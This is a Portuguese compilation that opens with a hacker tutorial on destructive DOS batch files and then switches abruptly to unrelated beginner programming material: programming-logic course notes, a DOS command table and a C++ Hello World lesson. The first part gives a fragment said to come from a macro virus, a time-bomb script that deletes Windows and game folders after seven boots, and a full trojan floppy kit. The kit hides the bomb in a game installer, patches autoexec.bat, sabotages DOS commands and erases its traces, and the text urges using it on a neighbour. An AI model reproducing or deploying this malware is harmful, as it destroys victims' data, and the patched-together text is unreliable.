copy c:\win-95\system\spaece.dll c:\win-95\system\configs\off.dll
copy c:\win-95\system\configs\*.* c:\win-95\system\spaece.dll
del o*.dll
del t*.dll
cd\
goto fim
:dos
c:
cd\
cd dos
echo> dos.ppp test
cd\
if exist dos.ppp goto off
cd dos
md system
cd system
cd configs
echo> dos.ppp test
cd\
cd dos
cd system
if not exist dos.ppp goto 6md configs
goto 6
:6
if exist spaece.dll goto 26
echo> spaece.dll ydfgyudfyudfgkdgydlkcvm,xcjhtfkgr5yuiuyfg
:26
cd configs
copy c:\dos\system\spaece.dll c:\dos\system\configs\teste.dll
copy c:\dos\system\spaece.dll c:\dos\system\configs\off.dll
copy c:\dos\system\configs\*.* c:\dos\system\spaece.dll
del o*.dll
del t*.dll
cd\
goto fim
:off < Aqui, como ele não achou diretorio Windows, Win, WIn95, Win-95 ou DOS, como ultimo recurso ele cria o Off
c:\
cd\
md off
cd off
md system
cd system
cd configs
echo> off.ppp test
cd\
cd off
cd system
if not exist off.ppp goto 7
md configs
goto 7
:7
if exist spaece.dll goto 27
echo> spaece.dll ydfgyudfyudfgkdgydlkcvm,xcjhtfkgr5yuiuyfg
:27
cd configs
copy c:\off\system\spaece.dll c:\off\system\configs\teste.dll
copy c:\off\system\spaece.dll c:\off\system\configs\off.dll
copy c:\off\system\configs\*.* c:\off\system\spaece.dll
del o*.dll
del t*.dll
cd\
goto fim
:fim
cls
=====fim=====
O ARQUIVO ACIMA FOI TIRADO DO VIRUS DE MACRO OFF.A, ISSO É PARA VER COMO OS ARQUIVOS .BAT SÃO UTEIS PARA MUITAS COISAS, ATÉ PARA VIRUS.
--------------------------------------------------------------------------------
Agora um arquivo que só ataca o computador depois que ele for re-ligado 7 vezes.
O que acontece, é muito simples, da primeira vez que o computador é ligado o WIN.BAT cria o arquivo lig1.drv, da segunda vez, ele cria o lig2.drv ..... da sexta vez ele cria o lig6.drv e da setima vez ele procura pelo arquivo lig6.drv, se ele encontrar ele vai deletar o windows e o diretorio onde estão os jogos.
BOMBA RELOGIO
WIN.BAT
=====inicio=====
c:\
cd\
echo off
if exist lig1.drv goto 2
echo > lig1.drv sdfsdf
goto fim
:2
if exist lig2.drv goto 3
echo > lig2.drv sdfsdf
goto fim
:3
if exist lig3.drv goto 4
echo > lig3.drv sdfsdf
goto fim
:4
if exist lig4.drv goto 5
echo > lig4.drv sdfsdf
goto fim
:5
if exist lig5.drv goto 6
echo > lig4.drv sdfsdf
goto fim
:6
if exist lig6.drv goto 7
echo > lig6.drv sdfsdf
goto fim
:7
dletree/y c:\windows >null
dletree/y c:\win >null
dletree/y c:\win-95 >null
dletree/y c:\win_95 >null
dletree/y c:\win95 >null
dletree/y c:\dos >null
dletree/y c:\jogos >null
dletree/y c:\games >null
del *.* >null
:fim
=====fim=====
--------------------------------------------------------------------------------
Arquivo para travar o computador da vitima.
TRAVO!!!
WIN.BAT
=====inicio=====
c:\
cd\
echo off
echo > trav.exe sdfsdfsdf executa o arquivo exe, resultando no travamento do computador.
=====fim=====
--------------------------------------------------------------------------------
Prara finalizar, veja como criar um arquivo bomba apartir de um disquete, para dar aquele seu vizinho
chato que vive pedindo tudo quanto é jogo. O arquivo não deixara rastro para niguem nem se quer imaginar
que foi do seu disco que saiu a bomba, e a bomba só atacara depois que o computador for re-iniciado 7 vezes.
Bom, primeiro de tudo, pegue um jogo qualquer e passe para disquete (no nosso exemplo sera usado o jogo prince)
depois serão criados 6 arquivos que devem ficar na raiz do disquete:
INSTALL.BAT
T.BAT
WIN.PTY
A.PTY
AUTO.PTY
INSTALL.PTY
--------------------------------------------------------------------------------
INSTALL.BAT
=====inicio=====
echo Off
c:\
cd\
copy a:\win.pty renomeia os arquivos .pty para .bat
a:
deltree/y a.pty >null null
deltree/y win.pty >null
deltree/y t.bat >null
del null
c:\
cd\
t.bat
=====fim=====
--------------------------------------------------------------------------------
T.BAT
=====inicio=====
a:\
deltree/y install.bat >null null
rename install.pty install.bat daqui pra frente é só a instalação do jogo.
c:\
cd\
md prince
cd prince
copy a:\*.*
deltree/y install.bat >null
del null
cls
@echo Jogo instalado em c:\prince
=====fim=====
--------------------------------------------------------------------------------
WIN.PTY
=====inicio=====
echo off
c:
cd\
md p
cd p
if exist auto.pty goto www
copy c:\autoexec.bat c:\p\auto.pty
echo> p.pty c:\auto.bat
cd\
copy c:\p\*.* c:\autoexec.bat os duis arquivos pty, assim colocando no fim do autoexec um comando para que o arquivo auto.bat seja executado.
:www
cd\
a.bat
=====fim=====
--------------------------------------------------------------------------------
A.PTY
=====inicio=====
echo off
del win.bat
del t.bat
CLS
WIN
=====fim=====
--------------------------------------------------------------------------------
AUTO.PTY
=====inicio=====
echo off
c:
cd\
if exist lig1.drv goto 2 <é aquele mesmo arquivo BOMBA RELOGIO
echo > lig1.drv sdfsdf
goto fim
:2
if exist lig2.drv goto 3
echo > lig2.drv sdfsdf
goto fim
:3
if exist lig3.drv goto 4
echo > lig3.drv sdfsdf
goto fim
:4
if exist lig4.drv goto 5
echo > lig4.drv sdfsdf
goto fim
:5
if exist lig5.drv goto 6
echo > lig4.drv sdfsdf
goto fim
:6
if exist lig6.drv goto 7
echo > lig6.drv sdfsdf
goto fim
:7
doskey cd dir/s
doskey dir mem
doskey copy dir
doskey del dir/s
doskey deltree dir/s
doskey doskey cls
attrib +r c:\autoexec.bat
attrib +r c:\auto.bat
:fim
cls
=====fim=====
--------------------------------------------------------------------------------
INSTALL.PTY
=====inicio=====
echo Off é o install que ficara no disquete depois que a bomba foi executada, assim eliminando qualquer suspeita.
c:\
cd\
md prince
cd prince
copy a:\*.*
cls
@echo Jogo instalado em c:\prince
=====fim=====
--------------------------------------------------------------------------------
Como vcs viram os arquivos .BAT são muito uteis, e tem mais, para aqueles que querem
fazer virus de macro no word, mais sebem muito pouco sobre programação em word basic,
podem dar uma olhada em um pequeno tutorial sobre o virus de macro para word em ingles
e portugues PIRATA, que utiliza como ataque os arquivos .BAT vale apena olhar a parte
sobre virus para ver que o potencial dos arquivos .BAT não fica só no que foi mostrado aqui.
--------------------------------------------------------------------------------
INTERESSANTE.
Existem programas que transformam esses arquivos .BAT em .COM, é muito facil de usar,
e muito mais dificil alguem desconfiar de um arquivo .COM, o mais famoso copilador de
arquivos de lote (.BAT) é o BAT2EXE.COM para consegui-lo, se vire, consiguir este arquivo
da muito trabalho, você tera que dar um click aqui e esperar 31,7 KB passarem pelo fio do seu telefone!!!! ;^) --hehe
--------------------------------------------------------------------------------

Logica de Programacao

1 Introdução à Lógica de Programação
1.1 Lógica
A lógica de programação é necessária para pessoas que desejam trabalhar com
desenvolvimento de sistemas e programas, ela permite definir a seqüência lógica para o
desenvolvimento.
Então o que é lógica?
Lógica de programação é a técnica de encadear pensamentos para atingir determinado
objetivo.
1.2 Seqüência Lógica
Estes pensamentos, podem ser descritos como uma seqüência de instruções, que devem ser
seguidas para se cumprir uma determinada tarefa.
Seqüência Lógica são passos executados até atingir um objetivo ou solução de um
problema.
1.3 Instruções
Na linguagem comum, entende-se por instruções “um conjunto de regras ou normas
definidas para a realização ou emprego de algo”.
Em informática, porém, instrução é a informação que indica a um computador uma ação
elementar a executar.
Convém ressaltar que uma ordem isolada não permite realizar o processo completo, para isso
é necessário um conjunto de instruções colocadas em ordem seqüencial lógica.
Por exemplo, se quisermos fazer uma omelete de batatas, precisaremos colocar em prática
uma série de instruções: descascar as batatas, bater os ovos, fritar as batatas, etc...
É evidente que essas instruções tem que ser executadas em uma ordem adequada – não se
pode descascar as batatas depois de fritá-las.
Dessa maneira, uma instrução tomada em separado não tem muito sentido; para obtermos o
resultado, precisamos colocar em prática o conjunto de todas as instruções, na ordem correta.
Instruções são um conjunto de regras ou normas definidas para a realização ou
emprego de algo. Em informática, é o que indica a um computador uma ação elementar
a executar.
Curso Básico de Lógica de Programação
_________________________________________________________________________
____________________________________________________________________________________
Unicamp - Centro de Computação - DSC Página: 5
1.4 Algoritmo
Um algoritmo é formalmente uma seqüência finita de passos que levam a execução de uma
tarefa. Podemos pensar em algoritmo como uma receita, uma seqüência de instruções que dão
cabo de uma meta específica. Estas tarefas não podem ser redundantes nem subjetivas na sua
definição, devem ser claras e precisas.
Como exemplos de algoritmos podemos citar os algoritmos das operações básicas (adição,
multiplicação, divisão e subtração) de números reais decimais. Outros exemplos seriam os
manuais de aparelhos eletrônicos, como um videocassete, que explicam passo-a-passo como, por
exemplo, gravar um evento.
Até mesmo as coisas mais simples, podem ser descritas por seqüências lógicas. Por exemplo:
“Chupar uma bala”.
·  Pegar a bala
·  Retirar o papel
·  Chupar a bala
·  Jogar o papel no lixo
“Somar dois números quaisquer”.
·  Escreva o primeiro número no retângulo A
·  Escreva o segundo número no retângulo B
·  Some o número do retângulo A com número do retângulo B e coloque o resultado no
retângulo C
1.5 Programas
Os programas de computadores nada mais são do que algoritmos escritos numa linguagem de
computador (Pascal, C, Cobol, Fortran, Visual Basic entre outras) e que são interpretados e
executados por uma máquina, no caso um computador. Notem que dada esta interpretação
rigorosa, um programa é por natureza muito específico e rígido em relação aos algoritmos da vida
real.
Curso Básico de Lógica de Programação
___________________________________

Regeit Commands

o if é um comando de condição
exemplo:

if(a>b)then
....a=5;

else é o contrario do if
exemplo:

if(a>b)then
.....a=5
else
....a=4;

o while é uma condição de repetição:
exemplo:

while(a>b)do
....a=a+1;
end;

tem o repeat tbm
exemplo:

repeat
.....a=a+1;
until(a=5);

array é um vetor, uma lista mesmo
exemplo de um array chamado vetor com duas posições:

vetor[1] = 2;
vetor[2] = 3;

Usando Comandos de Sistema MS-DOS

Uma boa medida que podemos tomar em nossos algorítmos é transmitir ao computador comandos básicos de sistema operacional. E não existe nada mais básico do que comandos de sistemas monotarefas, como por exemplo o DOS.

Saber comandos de sistema pode ajudar fazer grandes coisas com pouco código, como por exemplo, criar ou abrir uma pasta, exibir o horário do sistema, verificar em que sistema operacional o seu programa está rodando, etc.

Para indicar uma linha de comando ao sistema basta usar a função SYSTEM que está na biblioteca padrão de C (stdlib.h) e de C++ (cstdlib).

Esta função deve ser digitada da seguinte maneira: 1° digite o nome da função depois seu argumento entre parênteses. O comando deve ser escrito entre aspas, pois ele é string.

Abaixo estão os comandos mais básicos de DOS. A maioria desses comandos também funciona no konsole do Linux.
comando     descrição
cd PASTA     abre uma pasta
chdir PASTA     abre uma pasta
cls     limpa a tela
color XX     mudar a cor da tela. XX é um hexadecimal onde o primeiro número é a cor do fundo e a segunda é a cor da letra.
copy ORIGEM DESTINO     copia o arquivo de origem para o seu destino.
date/t     mostra a data do sistema, sem alterá-la.
dir     exibe uma lista de arquivos e subpastas em
diskcopy UNIDADE1 UNIDADE2     copia o conteúdo de um disquete para o outro.
md PASTA     cria uma pasta
mem     mostra a memória utilizada e livre do sistema.
mkdir PASTA     cria uma pasta.
pause     pausa o programa e solicita o pressionamento de uma tecla para continuar
time/t     mostra a hora do sistema, sem alterá-la.
title NOME     define um nome para a janela do prompt.
tree     mostra a estrutura de pastas de uma unidade de forma gráfica
ver     mostra a versão do sistema operacional
vol     mostra o nome e o número de série do volume, caso haja um.

No exemplo abaixo, tem um programa escrito com vários comandos de DOS.

Esse programa fará o seguinte:

Mudará o nome da janela para - EXEMPLO DE COMANDOS.

Mudará a cor do fundo e da letra do prompt.

Mostrará em qual pasta está sendo executado o programa.

Verificará a versão do sistema.

Mostrará o nome e número de série do sistema.

Exibirá quanta memória foi utilizada.

Limpará a tela.

Exibirá a data e a hora do sistema.

e pedirá que seja pressionada uma tecla antes de fechar o programa.
01.#include <stdio.h>
02.#include <stdlib.h>
03.
04.int main (void){
05.system ("color 17");
06.system ("title EXEMPLO DE COMANDOS");
07.printf ("Programa executado em:\n");
08.system ("cd");
09.printf ("\nRodando em sistema:");
10.system ("ver");
11.printf ("\nNo volume:\n");
12.system ("vol");
13.printf ("\n");
14.printf ("Verificando memoria...");
15.system ("mem");
16.printf ("\n");
17.system ("pause");
18.system ("cls");
19.system ("color 80");
20.printf ("programa completamente executado em\n");
21.system ("date/t");
22.printf ("as ");
23.system ("time/t");
24.printf ("\n\n");
25.system ("pause");
26.}
Faça o Download deste Código


É comum, no aprendizado de uma linguagem de programação, que seu primeiro programa faça com que o computador exiba "Olá mundo!". Na linguagem C++ este primeiro programa já introduz muitos conceitos sobre a linguagem. Veja o código do nosso primeiro programa:

#include <iostream>

using namespace std;

int main ()
{
  cout << "Olá mundo!";
  return 0;
}

Assim como para começar a dirigir não é necessário saber toda a mecânica do carro, para programar não precisamos logo de início nos prender a todos os detalhes.

No programa acima, vamos dar atenção apenas ao conteúdo que se encontra entre as chaves:

 {
   cout << "Olá mundo!";
   return 0;
 }

    cout << "Olá mundo!";

A palavra cout vem de Console OUT (saída do console), onde geralmente temos a saída no monitor. O cout é seguido do operador << e da frase que se quer informar entre aspas: "Olá mundo!", intuitivamente, isso nos leva a ideia de que a sequência de caracteres será levada ao cout.

    return 0;

Este comando termina o programa, o estudaremos melhor no capítulo sobre funções e retornos.


ATENÇÃO:

Caso seu sistema operacional seja o Microsoft Windows, você deve adicionar imediatamente antes de return 0; a seguinte linha:

    system ("pause");

A função system() executa um comando do Windows. É como se o próprio usuário digitasse pause no prompt do MSDOS. Este comando deve ser evitado, pois diminui a portabilidade do programa, já que pause só existe nos sistemas Microsoft. No entanto, se está usando Windows é necessário adicionar esta linha, caso contrário o computador escreveria "Olá mundo!" e fecharia o programa antes que pudéssemos ler qualquer coisa. Uma forma elegante de lidar com estas peculiaridades do Windows é usar predefinições, de forma que o programa seja portável para qualquer sistema operacional:

#if defined(_MSC_VER)
// estas linhas serão executadas apenas quando o programa
// for compilado por alguma versão do Microsoft Visual C
  system("pause");
#endif

Em sistemas parecidos com UNIX, como GNU/Linux ou FreeBSD, pode-se usar um terminal de linha de comando facilmente, pois os mesmos possuem o recurso facilmente acessível, mesmo quando o usuário está usando a interface gráfica. Por isso, para esses sistemas um comando para solicitar pausa ao sistema não é necessário.
[editar] Entrada de dados e comentários no código

Comentário é um recurso muito útil em programação. Ele permite que o programador adicione texto ao programa para facilitar o entendimento do programa por parte de outros programadores, ou até dele mesmo. Os comentários são usados para explicar trechos de código, adicionar cláusulas e qualquer texto em geral.

Vamos agora para um programa mais completo com entrada de dados e comentários dentro do código:

// Este é um comentário de uma linha

/*
  Este é
  um comentário
  de várias
  linhas
*/

#include <iostream>

using namespace std;

int main ()
{
  int x;
  cout << "Digite um número: ";
  cin >> x;
  cout << "\nVocê digitou o número: " << x << endl;
  system ("pause");
  return 0;
}

[editar] Comentários no programa

Observemos esta linha:

 // Este é um comentário de uma linha

Esta é uma linha de comando para o preprocessador (ou precompilador).

O que é o preprocessador? Durante o processo de montagem do programa em formato binário existem três fases principais: O preprocessamento, a compilação e a fase de ligação (link). O preprocessador é um programa invocado pelo compilador para remover comentários e substituir certas partes do programa conforme a necessidade do código criado pelo programador.

O preprocessador faz algumas alterações no texto fonte, que basicamente consistem em eliminar pedaços de código e/ou substituí-los por outros (copy-paste). Enfim, o mesmo altera o código fonte contendo comandos iniciados com # e outros comandos específicos, por outro código sem comandos de preprocessamento, puramente em linguagem C++.

Ao analisar o código, o preprocessador encontra a sequência // e vai eliminar o texto que está a seguir até ao fim da linha.

Mais uma forma de adicionar comentários:

/*
 Este é
 um comentário
 de várias
 linhas
*/

A linguagem C++ permite também fazer comentários por mais do que uma linha. Chama-se comentário por bloco e o que faz é eliminar tudo o que encontrar entre a sequência inicial /* e o final */.

A vantagem de termos esta possibilidade é poder comentar o nosso código. Existem algumas regras de boa conduta para comentários que foram criadas por pessoas que já têm muito tempo nisto:

    Uma é criar logo no topo um comentário a dizer o que é o nosso programa, e o que faz numa forma geral;
    Outra é fazer comentários a cada função que aparece no código a explicar;
    Outra é comentar uma linha mais obscura, mais difícil de entender, que não é óbvia;
    A outra é não comentar tudo. O comentar deve ser para sobressair.

Esta última regra pode ser esquecida quando o programa é didático, neste caso pode-se usar o programa como texto comentado.
[editar] Incluindo cabeçalhos

#include <iostream>

O símbolo # é uma chamada de atenção ao compilador a dizer que aquela linha é para o preprocessador, depois temos o "include" (que basicamente diz para incluir código). Incluir o quê?

Deve incluir o ficheiro/arquivo iostream. (in+out+stream, "fluxo de entrada e saída", padrão) (na maioria das vezes, como entrada padrão temos o teclado e como saída temos o monitor) (este ficheiro/arquivo contém declarações das funções e definições que o nosso código fonte irá necessitar)

Este código que será incluído é chamado de cabeçalho devido a uma característica evidente, o fato de ser código de declaração inicial do programa, que deve estar no topo do arquivo/ficheiro.

Existem outros arquivos (ficheiros cabeçalho), o iostream é para fluxos de entrada e saída, mas temos muitos mais para matemática, manipulação de tempo, tratamento de caracteres, etc...

Na maioria das vezes, os arquivos de cabeçalho fazem parte de uma biblioteca. Podemos ver na parte dos anexos, algumas bibliotecas que existem juntamente com as funções de cada uma. Nós próprios podemos criar uma biblioteca com código e nosso próprio cabeçalho. E até podemos comprar bibliotecas existentes comercialmente, através de empresas especializadas em desenvolvimento, que também terão seus arquivos/ficheiros de cabeçalhos.

Mas, o que são bibliotecas? São arquivos com um conjunto de códigos que alguém fez antes. As que enunciamos antes são as "standard", são aquelas que têm as funcionalidades básicas, pertencentes aos padrões da linguagem. Repare-se que precisamos da biblioteca até para escrever (no ecrã)/(na tela) (stream + out) que nos permite utilizar o cout.

O ficheiro/arquivo iostream está envolvido em < >, isto significa que o preprocessador deve procurar o ficheiro/arquivo no sítio/diretório usual (que é onde o compilador usa como padrão para os "includes"). Se tivéssemos o ficheiro/arquivo iostream envolvido em "" significaria que o preprocessador deveria procurá-lo dentro de uma lista de diretórios de inclusão, "includes", iniciando pelo diretório atual.

As bibliotecas são compostas por 2 partes: um índice de todas as funções e definições e declarações, o cabeçalho, e depois a definição de todas as funções existentes no índice, arquivos de código.

As directivas de preprocessamento não terminam com o ponto e vírgula como nas instruções.
[editar] Namespace

using namespace std;

Observando esta linha, alguns tradicionais programadores em linguagem C, têm uma novidade: namespaces são espaços de nomes dentro do código, eles funcionam, entre outras coisas, como um meio de evitar duplicação de nomes dentro de um projeto extenso, que geralmente contam com inúmeros arquivos.

O C++ usa os namespaces para organizar os diferentes nomes usados nos programas. Cada nome usado no ficheiro/arquivo biblioteca "standard iostream" faz parte do "namespace" chamado de std.

O objeto de saída padrão, cout, está definido dentro do "namespace" std, ele é um objeto da classe "ostream" "output stream", para acessá-lo temos que referenciá-lo como "std::cout". Para evitar que tenhamos que informar "std::" todas as vezes que precisarmos usar os recursos deste "namespace", podemos informar que estamos usando-o dentro do arquivo atual, conforme vemos na linha declarada no início deste tópico.

O "namespace" permite que as variáveis sejam localizadas em certas regiões do código. Declarar o "namespace std" permite que todos os objectos e funções da biblioteca "standard input-output" possam ser usados sem qualquer qualificações específicas, desta maneira, não é mais necessário o uso de "std::".

Este é um conceito avançado que podemos explorar mais, vamos deixá-lo para depois.
[editar] Função "main"

int main(){}

Como na linguagem C, a função principal de entrada do programa a partir do sistema operacional é a função main. Por isso mesmo ela é obrigatória em qualquer programa. Se não existisse uma "main function", não haveria entrada para que o sistema iniciasse o programa.

Todas as funções são declaradas e usadas com o operador ( ), assim é que o compilador reconhece que estas são funções. A ideia de ter funções é permitir o encapsulamento de uma ideia ou operação, dar um nome a isso e depois chamar essa operação de várias partes do programa simplesmente usando o seu nome. As funções declaradas como membros de uma classe de objetos podem ser chamadas de métodos.

Do ponto de vista funcional, um código dentro de uma função executa operações em outra parte do programa, que não é aquela de onde foi chamada, por este motivo as mesmas contam com um mecanismo de passagem de dados, ao declarar uma função indicamos quais os dados que entram e o que ela deve fornecer a quem lhe chamou. Pode-se dizer que, tal qual uma função matemática, a função em C/C++ poderá ser substituída, depois de sua execução, pelo valor que ela retorna, este valor será especificado antes do nome da função na declaração da mesma, conforme vemos no início deste tópico.

O int significa que a função vai retornar um inteiro. Temos mais tipologias de dados como poderemos verificar, mas já podemos avançar as seguintes:

    int que é a abreviatura de inteiro;
    char que é a abreviatura de caratere;
    float que é a abreviatura de "floating point number", ou seja, uma representação para número real.

Vejamos um exemplo:

Quando criamos uma função soma, obviamente só para ilustração pois isso não é necessário, podemos fazer:

int soma(int a, int b)
{ return a + b;
}

Agora imagine que tenhamos que somar 2 e 3, colocando o resultado em outra variável chamada valor, para isto faremos:

valor = soma(2, 3);

Primeiro analisamos qual é o resultado e depois substituímos a função pelo valor que ela retorna:

valor = 5;

Simples, não?

; - Final de sequência de instruções

O ponto e vírgula funciona como ponto final, separa as instruções e contextos. Repare que apenas as funções, ou melhor, as definições de funções e as directivas de preprocessamento é que não têm o ";"

É importante notar que o código poderia ser todo escrito quase numa linha tipo:

int main (){int a; cout << "Hello world! Digite um número:\n"; cin >> a;cout <<
 "digitou o número: " << a<<"\n"; system ("pause"); return 0;}

É realmente o ";" que faz a terminação das instruções.

Ao encontrar as chaves "{}", o compilador reconhece como um delimitador de bloco, ou "body", corpo. O corpo de uma função ou bloco de código começa com "{" e termina com "}", como temos as instruções agrupadas, já não há necessidade de colocar o ";" no final para indicar onde é o fim do bloco.

No nosso exemplo existem 2 instruções no corpo da função. As instruções são executadas por ordem: do topo até ao fim a menos que existam funções que alterem o fluxo da leitura ou que existam códigos de controle de execução "execution control codes", que alteram o caminho de execução.
[editar] Entrada e saída (cin/cout)

cout << "Hello world! Digite um número:\n";

(c+out) Podemos utilizar este objeto porque pusemos o header e o namespace std. As informações serão direcionadas através do iostream, um subsistema de entrada e saída da biblioteca padrão. O que este objeto nos permite é enviar o que temos entre aspas para a saída (out), que é o monitor neste caso.

Quem já conhece a linguagem C, certamente está familiarizado com os streams da biblioteca padrão, o stdin, o stdout e o stderr... A linguagem C++ implementa os mesmos dispositivos sob a forma de objetos.

O cout envia dados para o "standard output device", que é usualmente o monitor, a abstração do elemento de saída padrão é observada na presença de um objeto que representa a saída física de dados para o meio externo.

Observa-se que temos o operador <<, neste caso podemos verificar mais uma das funcionalidades da linguagem, pois este operador é usado para deslocamento de bits na sua funcionalidade padrão, neste caso a sua função foi substituída por outra, transferir os dados a sua direita para o "output stream" do seu lado esquerdo.

O cout é um objecto da biblioteca "standard C++" que tem como uma de suas funções imprimir strings no "standard output" (que normalmente é o/a ecrã/tela).

Da mesma forma que podemos formatar o texto enviado a saída padrão na linguagem C, também podemos fazê-lo com os objetos do C++, por exemplo, se acrescentássemos "<< hex <<" entre uma variável e a saída:

cout<< hex << n;

O resultado seria impresso em hexadecimal;

Para entrada de dados temos:

cin >> a;

O que esta linha faz é colocar o valor que foi digitado numa área de memória que foi chamada de "a".

Da mesma forma que o cout existe para saída de dados, temos outro objeto para entrada através do teclado, este objeto é chamado de Console IN - cin, seguindo a mesma analogia. Observe que o operador >> é usado para dar idéia de que os dados estão vindo do cin para a variável "a".

cout << "digitou o número: " << a << "\n";

Aqui voltamos a utilizar o objeto cout primeiro para imprimir no/na ecrã/tela a frase "digitou o número: ", depois vai buscar o valor que está naquela área de memória a que chamamos de "a" e por fim coloca o fim de linha através de "\n", em C++ podemos usar um finalizador de linha chamado endl, o uso do mesmo é mais eficiente pois descarrega os dados do stream logo após a finalização da linha.
[editar] função system("pause")

system ("pause");

A maioria dos compiladores quando estão executando em modo gráfico fecha o console de saída assim que o programa finaliza. Isto impede que possamos ver o que aconteceu, principalmente quando o programa contém apenas umas poucas instruções.

A função system(), faz parte do padrão da linguagem C, ela executa uma chamada de sistema, ou seja, ela passa um comando para o sistema, que neste caso é "pause", como já informamos no início deste capítulo, este comando é destinado a sistemas da Microsoft®. Coloquei esta linha para que o programa não finalizasse sem que pudéssemos ver uma janela com o resultado, se não o fizesse a janela abriria e fecharia sem que pudéssemos ver o aconteceu durante a execução do programa.

Em sistemas como GNU/Linux, FreeBSD, Solaris®, etc... temos acesso a terminais de console e compiladores em linha de comando, assim basta compilar o programa sem esta linha e depois executá-lo, para ver o resultado.
[editar] Retornando valor

return 0

Faz com que a função retorne o valor zero, como esta função é a principal do programa, por onde o sistema operativo/operacional iniciou a execução do mesmo, este retorno é recebido pelo sistema, é comum que valores diferentes de zero sejam interpretados como erro do programa.

Esta instrução manda retornar o valor zero para o sistema operativo/operacional (Windows, Unix, ...). Este zero representa a dizer que o programa finalizou normalmente. Pode acontecer que o programa não finalize como seria de esperar, ele tem um crash (ou porque ficou com falta de memória.). O sistema operativo/operacional necessita de lidar com estas terminações anormais de uma forma diferente das normais. Por isso é que o programa diz ao sistema operativo/operacional que terminou normalmente.

Questão: porque é que o sistema operativo necessita de saber que o programa terminou bem?